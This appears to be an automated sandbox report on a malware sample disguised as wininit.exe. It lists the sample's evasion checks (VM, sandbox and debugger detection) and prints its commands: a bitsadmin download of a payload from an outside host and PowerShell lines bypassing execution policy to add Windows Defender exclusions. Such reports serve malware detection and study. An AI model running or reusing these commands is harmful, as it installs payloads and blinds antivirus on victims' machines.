Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wininit.exe, 00000005.00000002.3282808526.0000000002711000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: svchost.exe, 00000003.00000003.2432558607.000001BA6955B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.2432595859.000001BA6955C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000003.2432558607.000001BA6951A000.00000004.00000020.00020000.00000000.sdmp, wininit.exe, 00000005.00000000.2434580556.00000000003E2000.00000002.00000001.01000000.00000009.sdmp, wininit.exe, 00000005.00000002.3282808526.00000000027BC000.00000004.00000800.00020000.00000000.sdmp, BIT6DEB.tmp.3.dr, wininit.exe.5.dr	Binary or memory string: SBIEDLL.DLL1TV0AQBCWCIN4XCTKWQAH9WPV1OSO5P5R7ZXGPBDDNEOFIBEHZ1ZCW4JOHJSCXPBWEOKFEA3FGZ1ACZQRINSXXSJ1KQGUUXTBIBY1CMSHMA18EAKQJHIVWPXBVHTT1ZVWFGXIUPGNZIDV7ECUTJQGG1SDF7452OWB1YDP5BCRMOENG21SVIGU9FBXDZ5QUWUBEVNJDHA1IO9ZZBF8BG7VQKXAUTP31OSH1M5WI1FVO0FARBOLNKLWUDFBN1NHO9VN2B6B1QWAQDEBHTNG2L1VTJXF64VTO1MWWLZYJVBC5TO1VALH6KWBL0UDHT8FDM15FUOL1JBUIM5L9BSH0MPOGUFEVAMHFINFO

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Memory allocated: D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Memory allocated: 1A710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 1430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 1B0C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: E30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\wininit.exe	Memory allocated: 1510000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Window / User API: threadDelayed 6324	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Window / User API: threadDelayed 3502	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5621	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4215	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7574	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1743	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7105	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2479	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6104
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3606

Source: C:\Windows\System32\svchost.exe TID: 2788	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe TID: 736	Thread sleep time: -43349848573217419s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5252	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5628	Thread sleep count: 7574 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5732	Thread sleep count: 1743 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3628	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5228	Thread sleep count: 7105 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1100	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1644	Thread sleep count: 2479 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4456	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7064	Thread sleep count: 6104 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 892	Thread sleep count: 3606 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5244	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Users\user\AppData\Roaming\wininit.exe TID: 1472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\wininit.exe TID: 6484	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\wininit.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\wininit.exe	Thread delayed: delay time: 922337203685477

Source: wininit.exe.5.dr	Binary or memory string: vmware
Source: svchost.exe, 00000003.00000002.3278310199.000001BA68C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000003.00000002.3280623744.000001BA6E25A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wininit.exe, 00000005.00000002.3290024067.000000001B5E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

Process information queried: ProcessInformation

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Anti Debugging

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

Code function: 5_2_00007FF848AE7A71 CheckRemoteDebuggerPresent,

5_2_00007FF848AE7A71

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

Memory allocated: page read and write | page guard

Benign windows process drops PE files

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\svchost.exe

File created: BIT6DEB.tmp.3.dr

Jump to dropped file

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\wininit.exe'
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\wininit.exe'
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\wininit.exe'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Local\Temp\wininit.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\wininit.exe'

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://2k8u3.org/wininit.exe C:\Users\user\AppData\Local\Temp\wininit.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Users\user\AppData\Local\Temp\wininit.exe "C:\Users\user\AppData\Local\Temp\wininit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wininit.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wininit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\wininit.exe'	Jump to behavior
